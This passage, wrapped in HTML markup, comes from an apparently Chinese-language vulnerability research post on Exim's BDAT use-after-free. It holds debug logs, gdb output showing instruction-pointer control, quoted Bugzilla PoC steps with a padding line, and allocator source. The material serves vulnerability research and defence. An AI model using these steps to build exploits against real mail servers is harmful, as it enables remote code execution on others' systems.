class="lit">8268</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln">   normal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L7"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li></ol>

又仔细读了一遍meh在Bugzilla上的描述,看到这句,所以猜测有没有可能是因为padding大小的原因,才导致crash失败的?所以写了代码对padding进行爆破,长度从0-0x4000,爆破了一遍,并没有发现能成功造成crash的长度。

This PoC is affected by the block layout(yield_length), so this line: r.sendline('a'*0x1250+'\x7f') should be adjusted according to the program state.

所以可以排除是因为padding长度的原因导致PoC测试失败。

而且在漏洞描述页,我还发现Exim的作者也尝试对漏洞进行测试,不过同样测试失败了,还贴出了他的debug信息,和他的debug信息进行对比,和我的信息几乎一样。(并不知道exim的作者在得到meh的Makefile和log后有没有测试成功)。

所以,本来一次简单的漏洞应急,变为了对该漏洞的深入研究

浅入研究

UAF全称是use after free,所以我在free之前,patch了一个printf:

<ol class="linenums"><li class="L0"><code><span class="com"># src/store.c</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="lit">448</span><span class="pln"> </span><span class="kwd">void</span></code></li><li class="L3"><code><span class="lit">449</span><span class="pln"> store_release_3</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">block</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L4"><code><span class="lit">450</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pun">......</span></code></li><li class="L6"><code><span class="lit">481</span><span class="pln">    printf</span><span class="pun">(</span><span class="str">"--------free: %8p-------\n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L7"><code><span class="lit">482</span><span class="pln">    free</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L8"><code><span class="lit">483</span><span class="pln">    </span><span class="kwd">return</span><span class="pun">;</span></code></li><li class="L9"><code><span class="lit">484</span><span class="pln">    </span><span class="pun">}</span></code></li></ol>

重新编译跑一遍,发现竟然成功触发了uaf漏洞:

<ol class="linenums"><li class="L0"><code><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">dd</span></code></li><li class="L1"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li><li class="L2"><code><span class="pln"> </span><span class="lit">8336</span><span class="pln"> </span><span class="typ">Process</span><span class="pln"> </span><span class="lit">8336</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> handling incoming connection </span><span class="kwd">from</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span></code></li><li class="L3"><code><span class="pun">--------</span><span class="pln">free</span><span class="pun">:</span><span class="pln"> </span><span class="lit">0x1e2c1b0</span><span class="pun">-------</span></code></li><li class="L4"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> child </span><span class="lit">8336</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x8b</span></code></li><li class="L5"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln">   signal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> signal </span><span class="lit">11</span><span class="pln"> </span><span class="pun">(</span><span class="pln">core dumped</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L7"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li></ol>

然后gdb调试的信息也证明成功利用uaf漏洞造成了crash:

<ol class="linenums"><li class="L0"><code><span class="pun">*</span><span class="pln">RAX  </span><span class="lit">0xdeadbeef</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">RBX  </span><span class="lit">0x1e2e5d0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">RCX  </span><span class="lit">0x1e29341</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0xadbeef000000000a</span><span class="pln"> </span><span class="com">/* '\n' */</span></code></li><li class="L3"><code><span class="pun">*</span><span class="pln">RDX  </span><span class="lit">0x7df</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RDI  </span><span class="lit">0x1e2e5d0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSI  </span><span class="lit">0x46cedd</span><span class="pln"> </span><span class="pun">(</span><span class="pln">store_free_3</span><span class="pun">+</span><span class="lit">70</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> pop    rbx</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">R8   </span><span class="lit">0x0</span></code></li><li class="L7"><code><span class="pln"> R9   </span><span class="lit">0x7f054f32b700</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x7f054f32b700</span></code></li><li class="L8"><code><span class="pun">*</span><span class="pln">R10  </span><span class="lit">0xffff80fab41c4748</span></code></li><li class="L9"><code><span class="pun">*</span><span class="pln">R11  </span><span class="lit">0x203</span></code></li><li class="L0"><code><span class="pun">*</span><span class="pln">R12  </span><span class="lit">0x7f054dc69993</span><span class="pln"> </span><span class="pun">(</span><span class="pln">state</span><span class="pun">+</span><span class="lit">3</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">R13  </span><span class="lit">0x4ad5b6</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> jb     </span><span class="lit">0x4ad61d</span><span class="pln"> </span><span class="com">/* 'receive.c' */</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">R14  </span><span class="lit">0x7df</span></code></li><li class="L3"><code><span class="pun">*</span><span class="pln">R15  </span><span class="lit">0x1e1d8f0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RBP  </span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSP  </span><span class="lit">0x7ffe169262b8</span><span class="pln"> </span><span class="pun">—▸</span><span class="pln"> </span><span class="lit">0x7f054d9275e7</span><span class="pln"> </span><span class="pun">(</span><span class="pln">free</span><span class="pun">+</span><span class="lit">247</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> add    rsp</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x28</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">RIP  </span><span class="lit">0xdeadbeef</span></code></li><li class="L7"><code><span class="pun">------------------------------------------</span></code></li><li class="L8"><code><span class="typ">Invalid</span><span class="pln"> address </span><span class="lit">0xdeadbeef</span></code></li></ol>

PS: 这里说明下 ./build-Linux-x86_64/exim 这个binary是没有patch printf的代码, /usr/exim/bin/exim 是patch了printf的binary

到这里就很奇怪了,加了个printf就能成功触发漏洞,删了就不能,之后用 puts write 代替了 printf 进行测试,发现 puts 也能成功触发漏洞,但是 write 不能。大概能猜到应该是stdio的缓冲区机制的问题,然后继续深入研究。

深入研究

来看看meh在Bugzilla上对于该漏洞的所有描述:

<ol class="linenums"><li class="L0"><code><span class="typ">Hi</span><span class="pun">,</span><span class="pln"> we found a </span><span class="kwd">use</span><span class="pun">-</span><span class="pln">after</span><span class="pun">-</span><span class="pln">free vulnerability which </span><span class="kwd">is</span><span class="pln"> exploitable to RCE </span><span class="kwd">in</span><span class="pln"> the SMTP server</span><span class="pun">.</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="typ">According</span><span class="pln"> to receive</span><span class="pun">.</span><span class="pln">c</span><span class="pun">:</span><span class="lit">1783</span><span class="pun">,</span><span class="pln"> </span></code></li><li class="L3"><code><span class="lit">1783</span><span class="pln">     </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">store_extend</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> header_size</span><span class="pun">))</span></code></li><li class="L4"><code><span class="lit">1784</span><span class="pln">       </span><span class="pun">{</span></code></li><li class="L5"><code><span class="lit">1785</span><span class="pln">       uschar </span><span class="pun">*</span><span class="pln">newtext </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li><li class="L6"><code><span class="lit">1786</span><span class="pln">       memcpy</span><span class="pun">(</span><span class="pln">newtext</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">);</span></code></li><li class="L7"><code><span class="lit">1787</span><span class="pln">       store_release</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">);</span></code></li><li class="L8"><code><span class="lit">1788</span><span class="pln">       </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> newtext</span><span class="pun">;</span></code></li><li class="L9"><code><span class="lit">1789</span><span class="pln">       </span><span class="pun">}</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="kwd">when</span><span class="pln"> the buffer used to parse header </span><span class="kwd">is</span><span class="pln"> </span><span class="kwd">not</span><span class="pln"> big enough</span><span class="pun">,</span><span class="pln"> exim tries to extend the </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="kwd">with</span><span class="pln"> store_extend </span><span class="kwd">function</span><span class="pun">.</span><span class="pln"> </span><span class="typ">If</span><span class="pln"> there </span><span class="kwd">is</span><span class="pln"> any other allocation between the allocation </span><span class="kwd">and</span><span class="pln"> extension of </span><span class="kwd">this</span><span class="pln"> buffer</span><span class="pun">,</span><span class="pln"> store_extend fails</span><span class="pun">.</span></code></li><li class="L2"><code><span class="pln">store</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L3"><code><span class="lit">276</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">ptr </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">!=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span></code></li><li class="L4"><code><span class="lit">277</span><span class="pln">     inc yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">)</span></code></li><li class="L5"><code><span class="lit">278</span><span class="pln">   </span><span class="kwd">return</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="typ">Then</span><span class="pln"> exim calls store_get</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">and</span><span class="pln"> store_get cut the current_block directly</span><span class="pun">.</span></code></li><li class="L8"><code><span class="pln">store</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L9"><code><span class="lit">208</span><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)((</span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L0"><code><span class="lit">209</span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">-=</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L1"><code><span class="lit">210</span></code></li><li class="L2"><code><span class="lit">211</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="typ">However</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">in</span><span class="pln"> receive</span><span class="pun">.</span><span class="pln">c</span><span class="pun">:</span><span class="lit">1787</span><span class="pun">,</span><span class="pln"> store_release frees the whole block</span><span class="pun">,</span><span class="pln"> leaving the </span><span class="kwd">new</span><span class="pln"> pointer points to a freed location</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Any</span><span class="pln"> further usage of </span><span class="kwd">this</span><span class="pln"> buffer leads to a </span><span class="kwd">use</span><span class="pun">-</span><span class="pln">after</span><span class="pun">-</span><span class="pln">free vulnerability</span><span class="pun">.</span></code></li><li class="L5"><code><span class="typ">To</span><span class="pln"> trigger </span><span class="kwd">this</span><span class="pln"> bug</span><span class="pun">,</span><span class="pln"> BDAT command </span><span class="kwd">is</span><span class="pln"> necessary to perform an allocation </span><span class="kwd">by</span><span class="pln"> raising an error</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Through</span><span class="pln"> </span><span class="kwd">our</span><span class="pln"> research</span><span class="pun">,</span><span class="pln"> we confirm that </span><span class="kwd">this</span><span class="pln"> vulnerability can be exploited to remote code execution </span><span class="kwd">if</span><span class="pln"> the binary </span><span class="kwd">is</span><span class="pln"> </span><span class="kwd">not</span><span class="pln"> compiled </span><span class="kwd">with</span><span class="pln"> PIE</span><span class="pun">.</span></code></li><li class="L6"><code><span class="typ">An</span><span class="pln"> RIP controlling </span><span class="typ">PoC</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> </span><span class="kwd">in</span><span class="pln"> attachment poc</span><span class="pun">.</span><span class="pln">py</span><span class="pun">.</span><span class="pln"> </span><span class="typ">The</span><span class="pln"> following </span><span class="kwd">is</span><span class="pln"> the gdb result of </span><span class="kwd">this</span><span class="pln"> </span><span class="typ">PoC</span><span class="pun">:</span></code></li><li class="L7"><code><span class="typ">Program</span><span class="pln"> received signal SIGSEGV</span><span class="pun">,</span><span class="pln"> </span><span class="typ">Segmentation</span><span class="pln"> fault</span><span class="pun">.</span></code></li><li class="L8"><code><span class="lit">0x00000000deadbeef</span><span class="pln"> </span><span class="kwd">in</span><span class="pln"> </span><span class="pun">??</span><span class="pln"> </span><span class="pun">()</span></code></li><li class="L9"><code><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">-------------------------------------------------------------</span></code></li><li class="L1"><code><span class="typ">In</span><span class="pln"> receive</span><span class="pun">.</span><span class="pln">c</span><span class="pun">,</span><span class="pln"> exim used receive_getc to </span><span class="kwd">get</span><span class="pln"> message</span><span class="pun">.</span></code></li><li class="L2"><code><span class="lit">1831</span><span class="pln">     ch </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">receive_getc</span><span class="pun">)(</span><span class="pln">GETC_BUFFER_UNLIMITED</span><span class="pun">);</span></code></li><li class="L3"><code><span class="typ">When</span><span class="pln"> exim </span><span class="kwd">is</span><span class="pln"> handling BDAT command</span><span class="pun">,</span><span class="pln"> receive_getc </span><span class="kwd">is</span><span class="pln"> bdat_getc</span><span class="pun">.</span></code></li><li class="L4"><code><span class="typ">In</span><span class="pln"> bdat_getc</span><span class="pun">,</span><span class="pln"> after the length of BDAT </span><span class="kwd">is</span><span class="pln"> reached</span><span class="pun">,</span><span class="pln"> bdat_getc tries to read the </span><span class="kwd">next</span><span class="pln"> command</span><span class="pun">.</span></code></li><li class="L5"><code><span class="pln">smtp_in</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">536</span><span class="pln"> next_cmd</span><span class="pun">:</span></code></li><li class="L7"><code><span class="pln"> </span><span class="lit">537</span><span class="pln">   </span><span class="kwd">switch</span><span class="pun">(</span><span class="pln">smtp_read_command</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">))</span></code></li><li class="L8"><code><span class="pln"> </span><span class="lit">538</span><span class="pln">     </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> </span><span class="lit">539</span><span class="pln">     </span><span class="kwd">default</span><span class="pun">:</span></code></li><li class="L0"><code><span class="pln"> </span><span class="lit">540</span><span class="pln">       </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">503</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L1"><code><span class="pln"> </span><span class="lit">541</span><span class="pln">     US</span><span class="str">"only BDAT permissible after non-LAST BDAT"</span><span class="pun">);</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">synprot_error may call store_get </span><span class="kwd">if</span><span class="pln"> any non</span><span class="pun">-</span><span class="pln">printable character exists because synprot_error uses string_printing</span><span class="pun">.</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">string</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">304</span><span class="pln"> </span><span class="com">/* Get a new block of store guaranteed big enough to hold the</span></code></li><li class="L7"><code><span class="com"> 305 expanded string. */</span></code></li><li class="L8"><code><span class="pln"> </span><span class="lit">306</span></code></li><li class="L9"><code><span class="pln"> </span><span class="lit">307</span><span class="pln"> ss </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">length </span><span class="pun">+</span><span class="pln"> nonprintcount </span><span class="pun">*</span><span class="pln"> </span><span class="lit">3</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">------------------------------------------------------------------</span></code></li><li class="L1"><code><span class="pln">receive_getc becomes bdat_getc </span><span class="kwd">when</span><span class="pln"> handling BDAT data</span><span class="pun">.</span></code></li><li class="L2"><code><span class="typ">Oh</span><span class="pun">,</span><span class="pln"> I was talking about the source code of </span><span class="lit">4.89</span><span class="pun">.</span><span class="pln"> </span><span class="typ">In</span><span class="pln"> the current master</span><span class="pun">,</span><span class="pln"> it </span><span class="kwd">is</span><span class="pln"> here</span><span class="pun">:</span></code></li><li class="L3"><code><span class="pln">https</span><span class="pun">:</span><span class="com">//github.com/Exim/exim/blob/master/src/src/receive.c#L1790</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="typ">What</span><span class="pln"> </span><span class="kwd">this</span><span class="pln"> </span><span class="typ">PoC</span><span class="pln"> does </span><span class="kwd">is</span><span class="pun">:</span></code></li><li class="L6"><code><span class="lit">1.</span><span class="pln"> send unrecognized command to adjust yield_length </span><span class="kwd">and</span><span class="pln"> make it less than </span><span class="lit">0x100</span></code></li><li class="L7"><code><span class="lit">2.</span><span class="pln"> send BDAT </span><span class="lit">1</span></code></li><li class="L8"><code><span class="lit">3.</span><span class="pln"> send one character to reach the length of BDAT</span></code></li><li class="L9"><code><span class="lit">3.</span><span class="pln"> send an BDAT command without size </span><span class="kwd">and</span><span class="pln"> </span><span class="kwd">with</span><span class="pln"> non</span><span class="pun">-</span><span class="pln">printable character </span><span class="pun">-</span><span class="pln">trigger synprot_error </span><span class="kwd">and</span><span class="pln"> therefore call store_get</span></code></li><li class="L0"><code><span class="com">// back to receive_msg and exim keeps trying to read header</span></code></li><li class="L1"><code><span class="lit">4.</span><span class="pln"> send a huge message </span><span class="kwd">until</span><span class="pln"> store_extend called</span></code></li><li class="L2"><code><span class="lit">5.</span><span class="pln"> uaf</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="typ">This</span><span class="pln"> </span><span class="typ">PoC</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> affected </span><span class="kwd">by</span><span class="pln"> the block layout</span><span class="pun">(</span><span class="pln">yield_length</span><span class="pun">),</span><span class="pln"> so </span><span class="kwd">this</span><span class="pln"> line</span><span class="pun">:</span><span class="pln"> </span><span class="str">`r.sendline('a'*0x1250+'\x7f')`</span><span class="pln"> should be adjusted according to the program state</span><span class="pun">.</span><span class="pln"> I tested on </span><span class="kwd">my</span><span class="pln"> ubuntu </span><span class="lit">16.04</span><span class="pun">,</span><span class="pln"> compiled </span><span class="kwd">with</span><span class="pln"> the attached </span><span class="typ">Local</span><span class="pun">/</span><span class="typ">Makefile</span><span class="pln"> </span><span class="pun">(</span><span class="pln">simply make </span><span class="pun">-</span><span class="pln">j8</span><span class="pun">).</span><span class="pln"> I also attach the updated </span><span class="typ">PoC</span><span class="pln"> </span><span class="kwd">for</span><span class="pln"> current master </span><span class="kwd">and</span><span class="pln"> the debug report</span><span class="pun">.</span></code></li></ol>

在这里先提一下,在Exim中,自己封装实现了一套简单的堆管理,在src/store.c中

<ol class="linenums"><li class="L0"><code><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span></code></li><li class="L1"><code><span class="pln">store_get_3</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> size</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="com">/* Round up the size to a multiple of the alignment. Although this looks a</span></code></li><li class="L4"><code><span class="com">messy statement, because "alignment" is a constant expression, the compiler can</span></code></li><li class="L5"><code><span class="com">do a reasonable job of optimizing, especially if the value of "alignment" is a</span></code></li><li class="L6"><code><span class="com">power of two. I checked this with -O2, and gcc did very well, compiling it to 4</span></code></li><li class="L7"><code><span class="com">instructions on a Sparc (alignment = 8). */</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">%</span><span class="pln"> alignment </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> size </span><span class="pun">+=</span><span class="pln"> alignment </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">%</span><span class="pln"> alignment</span><span class="pun">);</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com">/* If there isn't room in the current block, get a new one. The minimum</span></code></li><li class="L2"><code><span class="com">size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since</span></code></li><li class="L3"><code><span class="com">these functions are mostly called for small amounts of store. */</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L6"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln">  </span><span class="kwd">int</span><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun"><=</span><span class="pln"> STORE_BLOCK_SIZE</span><span class="pun">)?</span><span class="pln"> STORE_BLOCK_SIZE </span><span class="pun">:</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln">  </span><span class="kwd">int</span><span class="pln"> mlength </span><span class="pun">=</span><span class="pln"> length </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln">  storeblock </span><span class="pun">*</span><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln">  </span><span class="com">/* Sometimes store_reset() may leave a block for us; check if we can use it */</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">  </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L4"><code><span class="pln">     </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L5"><code><span class="pln">     </span><span class="pun">&&</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun"><</span><span class="pln"> length</span></code></li><li class="L6"><code><span class="pln">     </span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln">    </span><span class="com">/* Give up on this block, because it's too small */</span></code></li><li class="L9"><code><span class="pln">    store_free</span><span class="pun">(</span><span class="pln">newblock</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln">    newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln">    </span><span class="pun">}</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">  </span><span class="com">/* If there was no free block, get a new one */</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">newblock</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln">    pool_malloc </span><span class="pun">+=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln">           </span><span class="com">/* Used in pools */</span></code></li><li class="L8"><code><span class="pln">    nonpool_malloc </span><span class="pun">-=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln">        </span><span class="com">/* Exclude from overall total */</span></code></li><li class="L9"><code><span class="pln">    newblock </span><span class="pun">=</span><span class="pln"> store_malloc</span><span class="pun">(</span><span class="pln">mlength</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln">    newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln">    newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun">=</span><span class="pln"> length</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln">    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L3"><code><span class="pln">      chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln">    </span><span class="kwd">else</span></code></li><li class="L5"><code><span class="pln">      current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">    </span><span class="pun">}</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">  current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln">  yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln">  next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span></code></li><li class="L1"><code><span class="pln">    </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">CS current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln">  </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_NOACCESS</span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]);</span></code></li><li class="L3"><code><span class="pln">  </span><span 